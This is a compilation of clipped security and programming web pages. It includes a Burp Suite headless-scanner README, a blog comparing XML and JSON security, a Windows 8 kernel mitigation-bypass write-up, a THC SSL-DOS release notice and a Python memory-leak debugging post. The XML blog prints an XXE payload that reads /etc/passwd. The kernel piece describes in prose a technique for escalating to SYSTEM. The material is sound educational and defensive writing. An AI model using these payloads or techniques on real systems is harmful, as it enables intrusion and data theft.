    <?xml version="1.0" encoding="UTF-8"?>
    <config xmlns="http://nets.eu/burp/config">
        <reportType>HTML</reportType>
        <targetSitemap><![CDATA[http://localhost:5432]]></targetSitemap>
        <scope>
            <url><![CDATA[http://localhost:5432]]></url>
            <exclusions>
                <exclusion><![CDATA[localhost:5432/#/logout]]></exclusion>
            </exclusions>
            <false-positives>
                <issue>
                    <type>5244416</type>
                    <path>.*</path>
                </issue>
            </false-positives>
        </scope>
    </config>
[/code]

  5. Run as shown in the usage section and remember to set the `--project-file` option

### tl;dr;

The headless burp scanner plugin can do these

  * Run burp scan in headless or GUI mode
  * Specify target sitemap and add URL\(s\) to Burp's target scope
  * Use the "seed" request/response data generated by any integration/functional tests you might have
  * Mark issues as false positives, these will not be reported in the scan report anymore.
  * Spider the target scope.
  * Actively scan the target scope.
  * Generate a scan report in JUnit/HTML/XML format.
  * Shut down Burp

# Burp Maven Plugin

Maven plugin that allows you to run Burp Suite's Proxy and Scanner tools in
headless mode.

The plugin is essentially a wrapper around the Headless Burp Proxy and
Headless Burp Scanner extensions. It offers easy way to integrate security
testing using Burp Suite into the project build lifecycle.

### Full example

[code]

    <build>
        ...
        <plugins>
            ...
            <plugin>
                <groupId>eu.nets.burp</groupId>
                <artifactId>burp-maven-plugin</artifactId>
                <version>master-SNAPSHOT</version>
                <configuration>
                    <burpSuite>burp/burpsuite_pro_v1.7.31.jar</burpSuite>
                    <burpProjectFile>target/headless-burp-project.burp</burpProjectFile>
                    <burpConfig>burp/config.xml</burpConfig>
                    <headless>true</headless>
                    <promptOnExit>false</promptOnExit>
                    <verbose>true</verbose>
                    <skip>false</skip>
                </configuration>
                <executions>
                    <execution>
                        <id>start-burp-proxy</id>
                        <phase>pre-integration-test</phase>
                        <goals>
                            <goal>start-proxy</goal>
                        </goals>
                    </execution>
                    <execution>
                        <id>stop-burp-proxy</id>
                        <phase>post-integration-test</phase>
                        <goals>
                            <goal>stop-proxy</goal>
                        </goals>
                    </execution>
                    <execution>
                        <id>start-burp-scan</id>
                        <phase>verify</phase>
                        <goals>
                            <goal>start-scan</goal>
                        </goals>
                    </execution>
                </executions>
            </plugin>
            ...
        </plugins>
        ...
    </build>
[/code]

# Headless Burp Proxy

Provides an extension to Burp that allows you to run, stop and capture results
from the Burp proxy tool in headless mode.

### Features

  * Starts the burp proxy on a provided port \(default `4646`\)
  * Register a shutdown listener and wait for a shutdown request \(default `"SHUTDOWN"`\) on port \(default `4444`\).
  * On receiving a shutdown request, saves the burp project file along with all the information regarding the proxied requests and responses, and finally shuts down Burp

### Usage

#### Start Burp Proxy

On \*nix:

[code]

    java -Xmx1G -Djava.awt.headless=true \
    -classpath headless-burp-proxy-master-SNAPSHOT-jar-with-dependencies.jar:burpsuite_pro_v1.7.31.jar burp.StartBurp \
    --project-file=project.burp
    
[/code]

On Cygwin:

[code]

    java -Xmx1G -Djava.awt.headless=true \
    -classpath "headless-burp-proxy-master-SNAPSHOT-jar-with-dependencies.jar;burpsuite_pro_v1.7.31.jar" burp.StartBurp \
    --project-file=project.burp
    
[/code]

#### Command-line Options

[code]

    --project-file=VAL          Open the specified project file; this will be created as a new project if the file does not exist (mandatory)
    --proxyPort VAL             Proxy port
    --shutdownPort VAL          Shutdown port
    --shutdownKey VAL           Shutdown key
    -p (--prompt)               Indicates whether to prompt the user to confirm the shutdown (useful for debugging)
    -v (--verbose)              Enable verbose output
    
    --diagnostics               Print diagnostic information
    --use-defaults              Start with default settings
    --collaborator-server       Run in Collaborator server mode
    --collaborator-config=VAL   Specify Collaborator server configuration file; defaults to collaborator.config
    --config-file=VAL           Load the specified project configuration file(s); this option may be repeated to load multiple files
    --user-config-file=VAL      Load the specified user configuration file(s); this option may be repeated to load multiple files
    --auto-repair               Automatically repair a corrupted project file specified by the --project-file option
    
[/code]

#### Stop Burp Proxy

[code]

    echo SHUTDOWN >> /dev/tcp/127.0.0.1/4444
    or
    echo SHUTDOWN | netcat 127.0.0.1 4444
    or
    echo SHUTDOWN | ncat 127.0.0.1 4444
    
[/code]

  

# XML vs JSON: Security Risks – Independent Security Evaluators

**Created:**| _5/15/2017 9:24:15 PM_  
---|---  
**Updated:**| _5/15/2017 9:24:15 PM_  
**Author:**| __  
**Tags:**| _data-structs serialization_  
  

  

# XML vs. JSON: A Security Perspective

<img src='img/Temp2_9952.png' width='75' height='40' /><img src='img/1*VZgJuB-
HlEKKh7bstHYWaQ.png' width='700' height='394' />

The JSON vs. XML wars are brutal like trying to till a rough patch of land
that returns no gain. Understanding the security considerations of both is
like a green pasture providing a fruitful harvest of knowledge.

The age-old question of which is better between XML and JSON has been a hot
topic on the Internet as JSON has risen in prevalence. JSON has been relevant
since its adoption in popular web services in the mid-2000s. XML, is older,
having been around since 1998 when the World Wide Web Consortium \(W3C\)
officially recommended it.

XML and JSON are both universal formats for arbitrary data sharing between
computer architectures and programs, but there are a number of differences
between them. These differences have motivated blog posts and other documents
on the Internet comparing the two, and a compilation of even a couple of these
resources would cover most of their functional advantages and disadvantages.
However, in my research I haven’t seen a comprehensive comparison of the two
standards that addresses the security considerations of using one or the
other, and these are important for any developer trying to minimize a web
API’s attack surface. Hence, the purpose of this blog is to gather this
information into one place so XML or JSON developers can understand the
functional reasons to choose one over the other in addition to the security
precautions that they should take with either choice.

Before I dive into the security aspects, it’s important to know the functional
differences between XML and JSON. If you’re already familiar with these, it
may be useful to skip to the **Security** section.

### Similarities

Before diving into their differences, it’s important to first summarize what
XML and JSON have in common:

**1\. Both are widely used data sharing standards with publicly available
documentation.**

https://tools.ietf.org/html/rfc4825 \(XML\)

https://tools.ietf.org/html/rfc7159 \(JSON\)

**2\. Both are self-describing and human-readable:** self-describing in that
they are represented as a hierarchical tree of metadata, and human-readable in
that the data itself is ASCII and Unicode characters.

**3\. Libraries for working with both exist for many programming languages** ,
including JavaScript, Python, Perl, Ruby, and more.

**4\. Client JavaScript code may access responses in both languages** through
asynchronous requests with the XMLHttpRequest object, despite its name.

### Simplicity and Parsing

In terms of simplicity and parsing speed, JSON has the advantage in most
cases. Its syntax is usually less verbose because XML requires beginning and
end tags for each branch of the data tree while JSON represents data in arrays
with name/value pairs. Examples of both representations of the same data are
shown below.

**XML \(174 characters\)**

[code]

    <document id="1" name="test">  
       <dimensions>  
          <width>10</width>  
          <height>15</height>  
       </dimensions>  
       <objects>  
          <object id="1">  
          <object id="2">  
       </objects>  
       <window onclick="openDoc()" />  
    </document>
[/code]

**JSON \(155 characters\)**

[code]

    {"document": {  
       "id": "1",  
       "name": "test",  
       "dimensions": {  
          "width": "10",  
          "height": "15"  
       }  
       "objects": {  
          "object": [  
             {"id"= "1"},  
             {"id"= "2"}  
          ]  
       }  
       "window": {  
          "onclick":"openDoc()"  
       }  
    }}
[/code]

#### Sign up to get our latest blogs

Due to syntax differences, programs can usually parse JSON faster than XML.
This is not only because JSON generally uses fewer characters, but because its
syntax better matches object-oriented languages’ data structures, especially
JavaScript. These languages have libraries for parsing both JSON and XML, but
generally there’s a standard minimal JSON parser that’s more intuitive than
the XML counterpart\(s\). The official JSON site summarizes JSON’s advantages.
Some other resources that favor JSON are a _Cloud Elements_ blog and a
_w3schools_ page.

### Extensibility

The reason JSON is usually simpler and faster is because it has limited
support for data types, i.e., only strings and numbers that can be organized
into arrays. This standardizes how it can be parsed, but it also restricts the
flexibility of what types of documents the receiving program can parse. There
are number of advantages to XML’s complexity:

**1.** XML’s user-defined elements make it a better option for more
complicated documents that include images, charts, or other non-primitive
types.

**2.** XML gives the ability for the user to set metadata within a specific
data’s tag in the form of attributes, for example, `<document id="1"
name="test">` in the code above, and this could help a developer better
organize the information.

**3.** XML allows resolving name collisions through namespaces, which may be
useful for client programs that need two variables of the same name in
different scopes. _w3schools_ provides a summary of namespaces and how to
implement them.

**4.** XML documents can be validated using a Schema document that the XML
document references as it is transferred from server to server. The parser
uses the schema to validate the structure of the XML data to make sure it
maintains a specific syntax. An example can found here.

**5.** There are some powerful tools for reading and writing to XML documents,
including XPath for querying nodes or values and XSL for modifying and
displaying documents.

Here is a blog defending XML that summarizes these advantages.

### Security

As shown in the previous sections, many blogs and articles address the XML vs.
JSON debate, and the opinions vary from favoring one over the other to a
neutral stance. I, too, would take a neutral stance because, in terms of
functionality, one is not necessarily better than the other; they both are a
better fit for different data transfers.

However, the security aspects of using one or the other is often ignored, but
they are incredibly important because, unlike functional inefficiencies,
insecure implementations can lead to the exploitation of a system. Both XML
and JSON parsers have security considerations of which developers should be
aware.

#### **XML**

There are a number of security issues involved in the configuration of XML
parsers and how they interact with the document structure, and these need to
be addressed in order to properly secure an application that is utilizing XML.

**_XML External Entity Injection \(XXE_** _\)_

XXE arises when an application resolves arbitrary external entities defined in
an XML document. External entities are like macros that expand to a local or
remote resource through a system identifier. This identifier is assumed to be
a URL that the XML parser processes, and then all instances of the external
entity within the XML document are replaced with the contents of the external
resource. An attacker can exploit this to obtain sensitive data on the
application’s machine or perform remote code execution. Here’s a classic XXE
example:

[code]

    <?xml version="1.0" ?>  
       <!DOCTYPE foo [  
          <!ELEMENT foo ANY>  
          <!ENTITY xxe SYSTEM "file:///etc/passwd" >]  
             <credentials>  
                <user>&xxe;</user>  
                <pass>somevalue</pass>  
             </credentials>
[/code]

Here the attacker has modified the XML document to include an external entity
referencing the local machine’s `/etc/passwd` file. If the server allows
unrestricted external entity expansion, the contents of this file could be
reflected any server response derived from the XML input, and the attacker
would obtain user information from the server.

The external entity could also reference URLs as a way to bypass firewall
restrictions that permit access from the exploited server but not from an
outside address. The attacker could then potentially access privileged
information through HTTP GET responses that are reflected in the webpage UI.
OWASP gives a more in-depth explanation of XXE with more attack examples.

Another area of XXE attacks is resource exhaustion, which can utilize a couple
different payloads, including generic and recursive entity expansion. In these
attack payloads, a large number of external entities are declared that
reference each other, and when the server is forced to evaluate all of them,
it runs out of memory and crashes. This attack is also called an “XML Bomb”. A
_ws-attacks_ wiki article summarizes these attacks.

Similarly, the attacker may be able to carry out a remote code execution using
the PHP expect module, but the server must have this module loaded, and this
type of XXE occurs rarely. The OWASP vulnerability page mentioned above also
includes an example for this attack.

**_Remediation_** : XXE attacks can be prevented by simply disabling external
entity substitution or expansion. The terminology can vary with each XML
parser, and further, disabling DTDs entirely is the safest option. The problem
is external entity expansion is often enabled by default, but is rarely
necessary for legitimate functionality. OWASP provides a guide for XXE
prevention.

**_XML DTD Validation_**

Another vulnerability that can be exploited in the default configuration of
XML parsers is the validation against untrusted external DTD \(Document Type
Declaration\) files. The DTD of an XML document is one way to define the valid
structure of the document, i.e., rules for what elements and values are
allowed. These rules can be implemented internally within the document’s DTD,
or can be loaded externally by referencing a file or URL. An example external
declaration would look like this:

[code]

    <!DOCTYPE foo SYSTEM "http://www.example.com/schema.dtd">  
    <foo>  
    ...  
    </foo>
[/code]

A security problem arises if the server’s XML parser accepts an arbitrary
external DTD URL and attempts to download the DTD and validate the XML
document against it. In this case, an attacker could input any URL and execute
a Server Side Request Forgery \(SSRF\) attack where the attacker forces the
server to make a request to the target URL. The server may have privileges to
access certain resources that the attacker doesn’t, and the attacker can
leverage this to scan and attack services behind the server’s firewall. A
summary of SSRF can be found here.

**_Remediation_** : Disabling DTDs completely \(i.e., as in a non-validating
XML parser\) would mitigate this vulnerability.

#### JSON

As a simple data format with no document-based configurations, merely parsing
a JSON document is not open to security misconfiguration. However, given that
JSON is designed to be a subset of JavaScript, it is tempting to parse a JSON
document by simply passing it to a JavaScript engine \(e.g., the _eval_
method\). Certain implementations of JSON exchanges in JavaScript work this
way and can open up an application to vulnerabilities, e.g., through JSONP.

**_JSONP_**

JSONP was developed as a way for developers to exchange JSON data across
different domains outside the restrictions of the Same-Origin Policy. It’s
simply a modified version of a JSON data exchange where the target URL is
stored in a `src` attribute within `<script>` tags, and the JSON data being
accessed is passed to a JavaScript callback function. Because browsers
evaluate JavaScript in the context of where it is embedded, the JSONP request
that is downloaded and executed by the client is not restricted from
interacting with the calling page by the Same-Origin Policy. For information
on the Same-Origin Policy, there are many resources on the Internet, e.g.,
here.

The following illustrates a JSONP exchange.

A webpage could use the following to make a JSONP request to a resource on
another server, _example.com_ :

[code]

    <script  
       type="application/javascript"  
       src="http://example.com/someFile?callback=someFunc">  
    </script>
[/code]

The client visiting this page would receive a response with a JSON-wrapped
function like the one shown below. The function then executes with the JSON
data as input. For the exchange to function properly, the receiving server
must be configured with a JSONP API to send this response.

[code]

    someFunc({"name": "foo", "id": 1});
[/code]

JSONP is dangerous because it allows cross-origin exchanges of data. If
“example.com” were compromised, the attacker could send arbitrary JavaScript
code to execute in the context of the page holding the `<script>` tag, rather
than a callback function and JSON document.

Another exploit would be a Cross-Site Request Forgery \(CSRF\) attack. An
attacker could trick a victim into visiting a malicious webpage that creates a
JSONP request to a third-party site utilizing a JSONP API. Depending on the
request and the requested data, the server may respond with sensitive JSON
data \(e.g., usernames, passwords, credit card information, etc.\) that would
be disclosed to the attacker. For this CSRF attack to succeed, the JSONP
server endpoint would need to use cookies for authentication and not implement
CSRF protection \(e.g., CSRF tokens\).

It’s important to note that JSONP is a security risk that developers must
choose to take by implementing its functionality. Unlike the XML issues, this
is not the default behavior of JSON web exchanges.

### TL;DR

In terms of functionality, XML and JSON are similar in a lot of ways, and
their differences provide advantages depending on the context of the
application’s data types. Overall, one is not better than the other. In regard
to security, processing untrusted Internet-facing requests is one of the most
basic functions of an XML or JSON parser. Unfortunately, common XML parsers
are _not_ suitable for this purpose in their default configuration; only with
hardening to disable external entity expansion and external DTD validation are
they safe. Conversely, JSON parsing is almost always safe, so long as the
programmer uses modern techniques rather than JSONP. As long as web developers
are aware of these security risks and take the steps to defend against them,
either option is completely viable in the current web environment.

  

# Windows 8 Kernel Memory Protections Bypass - mwrlabs

**Created:**| _8/21/2014 12:03:53 PM_  
---|---  
**Updated:**| _8/21/2014 12:03:53 PM_  
**Author:**| __  
**Tags:**| _kernel memory-manager win8_  
  

# Windows 8 Kernel Memory Protections Bypass

Recently, intern Jérémy Fetiveau \(@\_\_x86\) conducted a research project
into the kernel protections introduced in Microsoft Windows 8 and newer. This
blog post details his findings, and presents a generic technique for
exploiting kernel vulnerabilities, bypassing and . Proof-of-concept code is
provided which reliably gains SYSTEM privileges, and requires only a single
vulnerability that provides an attacker with a write-what-where primitive. We
demonstrate this issue by providing a custom kernel driver, which simulates
the presence of such a kernel vulnerability.

### Introduction

Before diving into the details of the bypass technique, we will quickly run
through some of the technologies we will be breaking, and what they do. If you
want to grab the code and follow along as we go, you can get the zip of the
files here.

\(Supervisor Mode Execution Prevention\) is a mitigation that aims to prevent
the from running code from user-mode while in kernel-mode. is implemented at
the page level, and works by setting flags on a page table entry, marking it
as either U \(user\) or S \(supervisor\). When accessing this page of memory,
the can check this flag to make sure the memory is suitable for use in the
current mode.

\(Data Execution Prevention\) operates much the same as it does in user-mode,
and is also implemented at the page level by setting flags on a page table
entry. The basic principle of is that no page of memory should be both
writeable and executable, which aims to prevent the executing instructions
provided as data from the user.

#### KASLR

KASLR \(Kernel Address Space Layout Randomization\) is a mitigation that aims
to prevent an attacker from successfully predicting the address of a given
piece of memory. This is significant, as many exploitation techniques rely on
an attacker being able to locate the addresses of important data such as
shellcode, function pointers, etc.

### Paging 101

With the use of virtual memory, the needs a way to translate virtual addresses
to physical addresses. There are several paging structures involved in this
process. Let’s first consider a toy example where we only have page tables in
order to perform the translation.

For each running process, the processor will use a different page table. Each
entry of this page table will contain the information “virtual page X
references physical frame Y”. Of course, these frames are unique, whereas
pages are relative to their page table. Thus we can have a process A with a
page table PA containing an entry “page 42 references frame 13” and a process
B with a page table PB containing an entry “page 42 references frame 37”.

If we consider a format for virtual addresses that consists of a page table
field followed by an offset referencing a byte within this page, the same
address 4210 would correspond to two different physical locations according to
which process is currently running \(and which page table is currently
active\). For a 64-bit x86\_64 processor, the virtual address translation is
roughly the same.

However, in practice the processor is not only using page tables, but uses
four different structures. In the previous example, we had physical frames
referenced by PTEs \(page table entries\) within PTs \(page tables\). In the
reality, the actual format for virtual addresses looks more like the
illustration below:

<img src='img/Temp2_9565.png' alt='picture1_offset' />

The cr3 register contains the physical address of the PML4. The PML4 field of
a virtual address is used to select an entry within this PML4. The selected
PML4 entry contains \(with a few additional flags\) the physical address of a
\(Page Directory Pointer Table\). The field of a virtual address therefore
references an entry within this . As expected this entry contains the physical
address of the PD. Again, this entry contains the physical address of a PD. We
can therefore use the PD field of the virtual address to reference an entry
within the PD and so on and so forth. This is well summarized by Intel’s
schema:

<img src='img/Temp2_9566.png' alt='intel' />

It should be now be clearer how the hardware actually translates virtual
addresses to physical addresses. An interested reader who is not familiar with
the inner working of x64 paging can refer to the section 4.5 of the volume 3A
of the Intel manuals for more in-depth explanations.

### Previous Exploitation Techniques

In the past, kernel exploits commonly redirected execution to memory allocated
in user-land. Due to the presence of , this is now no longer possible.
Therefore, an attacker would have to inject code into the kernel memory, or
convince the kernel to allocate memory with attacker-controlled content.

This was commonly achieved by allocating executable kernel objects containing
attacker controlled data. However, due to , most objects are now non
executable \(for example, the “NonPagedPoolNx” pool type has replaced
“NonPagedPool”\). An attacker would now have to find a way to use a kernel
payload which uses return-oriented programming \(\), which re-uses existing
executable kernel code.

In order to construct such a payload, an attacker would need to know the
location of certain “ROP gadgets”, which contain the instructions that will be
executed. However, due to the presence of KASLR, these gadgets will be at
different addresses on each run of the system, so locating these gadgets would
likely require additional vulnerabilities.

### Technique Overview

The presented technique consists of writing a function to deduce the address
of paging structures from a given user-land memory address. Once these
structures are located, we are able to partially corrupt them to change the
metadata, allowing us to “trick” the kernel into thinking a chunk that was
originally allocated in user-mode is suitable for use in kernel-mode. We can
also corrupt the flags checked by to make the contents of the memory
executable.

By doing this in a controlled manner, we can created a piece of memory that
was initially allocated as not executable by a user-mode process, and modify
the relevant paging structures so that it can be executed as kernel-mode code.
We will describe this technique in more detail below.

#### Retrieving the Addresses of Paging Structures

When the kernel wants to access paging structures, it has to find their
virtual addresses. The processor instructions only allow the manipulation of
virtual addresses, not physical ones. Therefore, the kernel needs a way to map
those paging structures into virtual memory. For that, several operating
systems use a special self-referencing PML4 entry.

Instead of referencing a , this PML4 entry will reference the PML4 itself, and
shift the other values to make space for the new self-reference field. Thus,
instead of referencing a specific byte of memory within a memory page, a will
be referenced instead. It is possible to retrieve more structures by using the
same self-reference entry several times.

A good description of this mechanism can also be found in the excellent book
What makes it page? The Windows 7 \(x64\) virtual memory manager by Enrico
Martignetti.

### A Step-By-Step Example

To better understand this process, let’s go through an example showing how to
build a function that maps a virtual address to the address of its . First, we
should remind ourselves of the usual format of a virtual address. A canonical
address has its 48 bits composed of four 9-bit fields and one 12-bit offset
field. The PML4 field references an entry within the PML4, the references an
entry within the , and so on and so forth.

If we want to reference a instead of a byte located within a page, we can use
the special PML4 entry 0y111101101. We fill the PML4 field with this special
entry and then shift everything 9-bits to the right so that we get an address
with the following format:

<img src='img/Temp2_9563.png' alt='picture2_pt' />

We use this technique to build a function which maps the address of a byte of
memory to the address of its . If you are following along in the code, this is
implemented in the function “getPTfromVA” in the file “computation.cpp”. It
should be noted that, even though the last offset field is 12 bits, we still
do a 9-bit shift and set the remaining bits to 0 so that we have an aligned
address.

To get the other structures, we can simply use the same technique several
times. Here is an example for the addresses:

<img src='img/Temp2_9564.png' alt='picture3_pd' />

### Modifying Paging Structures

We use the term as a generic term for paging structures, as many of them share
the same structure, which is as follows:

<img src='img/Temp2_9567.png' alt='picture4_pxe' />

There are a number of fields that are interesting here, especially the NX bit
field, which defines how the memory can be accessed, and the flags at the end,
which include the U/S flag. This U/S flag denotes whether the memory is for
use in user-mode or supervisor-mode \(kernel-mode\).

When checking the rights of a page, the kernel will check every involved in
the address translation. That means that if we want to check if the U/S flag
is set, we will check all entries relating to that page. If any of the entries
do not have the supervisor flag set, any attempt to use this page from kernel
mode will trigger a fault. If all of the entries have the supervisor flag set,
the page will be considered a kernel-mode page.

Because is set at the page granularity level, typically higher level paging
structures will be marked as executable, with being applied at the level by
setting the NX bit. Because of this, rather than starting by allocating kernel
memory, it is easier to allocate user memory with the executable rights using
the standard , and then corrupt the paging structures to modify the U/S flag
and cause it to be interpreted as kernel memory.

#### Using Isolated PXEs

If we corrupt a random , we are likely to be in a case where the target is
part of a series of PXEs that are contiguous in memory. In these cases, during
exploitation it might mean that an attacker would corrupt adjacent PXEs, which
has a high risk of causing a crash. Most of the time, the attacker can’t
simply modify only 1 bit in memory, but has to corrupt several bytes \(8 bytes
in our \), which will force the attacker to corrupt more than just the
relevant flags for the exploit.

The easiest way to circumvent this issue is simply to target a which is
isolated \(e.g., with unused structures on either side of the target \). In
64-bit environments, a process has access to a huge virtual address space of
256TB as we are effectively using a 48-bit canonical addresses instead of the
full 64-bit address space.

A 48-bit virtual address is composed of several fields allowing it to
reference different paging structures. As the PML4 field is 9 bits, it refers
to one of 512 \(2\*\*9\) PML4 entries. Each PML4 entry describes a range of
512GB \(2\*\*39\). Obviously, a user process will not use so much memory that
it will use all of the PML4 entries. Therefore, we can request the allocation
of memory at an address outside of any 512GB used range. This will force the
use of a new PML4 entry, which will reference structures containing only a
single entry, a single and a single .

An interested reader can verify this idea using the “\!address” and “\!pte”
windbg extensions to observe those “holes” in memory. In the presented , the
0×100804020001 address is used, as it is very likely to be in an unused area.

### Practical Attack

The code for the mitigation bypass is very simple. Suppose that we’ve got a
vulnerable kernel component for which we are able to exploit a vulnerability
which gives us a write-what-where primitive from a user-land process \(this is
implemented within the “write\_what\_where” function in our \). We choose a
virtual address with isolated paging structures \(such as 0×100804020001\),
allocate it and fill it with our shellcode. We then retrieve all of its paging
structures using the mapping function described earlier in this post \(using
the field shifting and the self- referencing PML4\). Finally, we perform
unaligned overwrites of the 4 PXEs relating to our chosen virtual address to
modify its U/S bit to supervisor.

Of course, other slightly different scenarios for exploitation could be
considered. For instance, if we can decrement or increment an arbitrary value
in memory, we could just flip the desired flags. Also, since we are using
isolated paging structures, even in the case of a bug leading to the
corruption of a lot of adjacent data, the technique can still be used because
it is unlikely that any important structures are located in the adjacent
memory.

With this blog post, we provide an exploit for a custom driver with a very
simple write-what-where vulnerability so as to let the reader experiment with
the technique. However, this document was originally submitted to Microsoft
with a real-world use-after-free vulnerability. Indeed, in a lot of cases, it
would be possible for an attacker to force a write-what-where primitive from a
vulnerability such as a use-after-free or a pool overflow.

### Mitigating the Attack

This technique is not affected by KASLR because it is possible to directly
derive the addresses of paging structures from a given virtual address. If
randomization was introduced into this mapping, this would no longer be
possible, and this technique would be mitigated as a result. Randomizing this
function would require having a different self-referencing PML4 entry each
time the kernel boots. However, it is recognised that many of the core
functions of the kernel memory management may rely on this mapping to locate
and update paging structures.

It might also be possible to move the paging structures into a separate
segment, and reference these structures using an offset in that segment. If we
consider the typical write-what-where scenarios, unless the address specified
already had a segment prefix, it would not be possible for an attacker to
overwrite the paging structures, even if the offset within the segment was
known.

If this is not possible, another approach might be to use a hardware debug
register as a faux locking mechanism. For example, if a hardware breakpoint
was set on the access to the paging structures \(or key fields of the
structures\), a handler for that breakpoint could test the value of the debug
register to assess whether this access is legitimate or not. For example,
before a legitimate modification to the paging structures, the kernel can
unset the debug register, and no exception would be thrown. If an attacker
attempted to modify the memory without unsetting the debug register, an
exception could be thrown to detect this.

### Vendor Response

We reported this issue to Microsoft as part of their Mitigation Bypass Bounty
Program. However, they indicated that this did not meet all of their program
guidelines as it cannot be used to remotely exploit user-mode vulnerabilities.
In addition, Microsoft stated that their security engineering team were aware
of this “limitation”, they did not consider this a security vulnerability, and
that the development of a fix was not currently planned.

With this in mind, we have decided to release this post and the accompanying
code to provide a public example of current Windows kernel research. However,
we have chosen not to release the fully weaponised exploit we developed as
part of the submission to Microsoft, as this makes use of a vulnerability that
has only recently been patched.

### Conclusion

The technique proposed in this post allows an attacker to reliably bypass both
and in a generic way. We showed that it is possible to derive the addresses of
paging structures from a virtual address, and how an attacker could use this
to corrupt paging structures so as to create executable kernel memory, even in
low memory addresses. We demonstrated that this technique is usable without
the fear of corrupting non targeted PXEs, even if the attacker had to corrupt
large quantities of memory. Furthermore, we showed that this technique is not
specific to bugs that provide a write-what-where primitive, but can also be
used for a broad range of bug classes.

# THC SSL DOS | thehackerschoice
**Created:**| _10/24/2011 1:44:01 PM_  
---|---  
**Updated:**| _10/24/2011 1:44:01 PM_  
**Author:**| __  
**Tags:**| _web DoS ssl_  
  

# THC SSL DOS

Posted on

October 24, 2011

Today the German hacker group “The Hacker’s Choice” officially released a new
DDoS tool. The tool exploits a weakness in SSL to kick a server off the
Internet.

Technical details can be found at http://www.thc.org/thc-ssl-dos.

“We decided to make the official release after realizing that this tool leaked
to the public a couple of months ago” said a member of THC who wants to remain
anonymous.

The tool departs from traditional DDoS tools: It does not require any
bandwidth and just a single attack computer \(“bot”\).

The THC-SSL-DOS attack is en par with other resource exhausting DDoS attacks.
Some of those methods played a vital role in demonstrations against oppressive
governments \(like the DDoS attack against Iran’s leader\) and against
companies that violate free speech \(like the DDoS attack against Mastercard
for closing Wikileak’s non-profit donation account because of an alleged
typo/misspelling in the application form\).

“Here at THC the rights of the citizen and the freedom of speech are at the
core of our research”, says a member of THC in a private interview this
morning.

“We are hoping that the fishy security in SSL does not go unnoticed. The
industry should step in to fix the problem so that citizens are safe and
secure again. SSL is using an aging method of protecting private data which is
complex, unnecessary and not fit for the 21st century.”, Says a THC member,
referring to 3 major vulnerabilities disclosed in SSL over the past 3 years.

To list the 3 major vulnerabilities here THC explains: “In 2009 a
vulnerability was disclosed that broke the encryption of SSL. De-facto making
all SSL traffic unsafe. In 2011 various Certification Authorities got hacked.
De-facto making all SSL traffic unsafe \_again\_.”

“We warned in 2002 about giving hundreds of commercial companies \(so called
Certification Authorities\) a master key to ALL SSL traffic.”, says Fred
Mauer, a senior cryptographer at THC. “Only a real genius can come up with
such an idea\!”.

“And last but not least the immense complexity of SSL Renegotiation strikes
again in 2011 with the release of THC-SSL-DOS.”.

“It’s time for a new security model that adequately protects the citizens.”.

The THC-SSL-DOS tool is a Proof Of Concept tool to disclose fishy security in
SSL. It works great if the server supports SSL Renegotiation. It still works
if SSL Renegotiation is not supported but requires more bots before an effect
can be seen.

Our tests reveal that the average server can be taken down from a single IBM
laptop through a standard DSL connection.

Taking on larger server farms who make use of SSL Load balancer required 20
average size laptops and about 120kbit/sec of traffic.

All in all superb results.

Interesting here is that a security feature that was supposed to make SSL more
secure makes it indeed more vulnerable to this attack:

SSL Renegotiation was invented to renegotiate the key material of an SSL
connection. This feature is rarely used. In fact we could not find any
software that uses SSL Renegotiation. Yet it’s enabled by default by most
servers.

An old saying comes true all over again: Complexity is the enemy of security.

“Renegotiating Key material is a stupid idea from a cryptography standpoint.
If you are not happy with the key material negotiated at the start of the
session then the session should be re-established and not re-negotiated”, says
THC.

  1. THC-SSL-DOS: http://www.thc.org/thc-ssl-dos
  2. Reverse SSL: http://eprint.iacr.org/2006/212.pdf
  3. DDoS explained: http://en.wikipedia.org/wiki/Denial-of-service\_attack
  4. http://www.ietf.org/mail-archive/web/tls/current/msg07553.html
  5. http://devcentral.f5.com/weblogs/david/archive/2011/05/03/ssl-renegotiation-dos-attack-ndash-an-irule-countermeasure.aspx

# Tracing Python memory leaks « LShift Ltd.

**Created:**| _11/18/2010 3:54:47 PM_  
---|---  
**Updated:**| _11/18/2010 3:55:39 PM_  
**Author:**| __  
**Tags:**| __  
  

Tracing Python memory leaks  

While I was writing a python daemon, I noticed that my application process
memory usage is growing over time. The data wasn’t increasing so there must
have been some memory leak.

It’s not so easy for a Python application to leak memory. Usually there are
three scenarios:

  1. some low level C library is leaking
  2. your Python code have global lists or dicts that grow over time, and you forgot to remove the objects after use
  3. there are some reference cycles in your app

I remembered the post from Marius Gedminas, in which he traced his memory
leaks, but I haven’t noticed before that he published his tools. The tools are
awesome. Just take a look at my session:

[code]

    $ pdb ./myserver.py
    > /server.py(12)()
    -> import sys
    (Pdb) r
    2008-11-13 23:15:36,619 server.py      INFO   Running with verbosity 10 (>=DEBUG)
    2008-11-13 23:15:36,620 server.py      INFO   Main dir=’./server’, args=[]
    
    
[/code]

After some time, when my application collected some garbages I pressed Ctrl+C:

[code]

    2008-11-13 18:41:40,136 server.py      INFO   Quitting
    (Pdb) import gc
    (Pdb) gc.collect()
    58
    (Pdb) gc.collect()
    0
    
    
[/code]

Let’s see some statistics of object types in memory:

[code]

    (Pdb) import objgraph
    (Pdb) objgraph.show_most_common_types(limit=20)
    dict                       378631
    list                       184791
    builtin_function_or_method 57542
    tuple                      55478
    Message                    48129
    function                   45575
    instancemethod             31949
    NonBlockingSocket          31876
    NonBlockingConnection      31876
    _socketobject              31876
    _Condition                 28320
    AMQPReader                 14900
    cell                       9678
    
    
[/code]

Message objects definitely shouldn’t be in the memory. Let’s see where are
they referenced:

[code]

    (Pdb) objgraph.by_type('Message')[1]
    <amqplib.client_0_8.Message object at 0×8a5b7ac>
    (Pdb) import random
    (Pdb) obj = objgraph.by_type(’Message’)[random.randint(0,48000)]
    (Pdb) objgraph.show_backrefs([obj], max_depth=10)
    Graph written to objects.dot (15 nodes)
    Image generated as objects.png
    
    
[/code]

This is what I saw:

<img src='img/Temp2_8430.png' width='200' alt='Message object references' />

Ok. A Channelobject still has references to our Message. Let’s move on to see
why Channel is not freed:

[code]

    (Pdb) obj = objgraph.by_type('Channel')[random.randint(0,31000)]
    (Pdb) objgraph.show_backrefs([obj], max_depth=10)
    Graph written to objects.dot (35 nodes)
    Image generated as objects.png
    
    
[/code]

Channel object references are much more interesting - we just caught a
reference cycle here\!

<img src='img/Temp2_8429.png' width='500' alt='Channel object references' />

There is also one other class that’s not being freed - NonBlockingConnection:

[code]

    (Pdb) obj = objgraph.by_type('NonBlockingConnection')[random.randint(0,31000)]
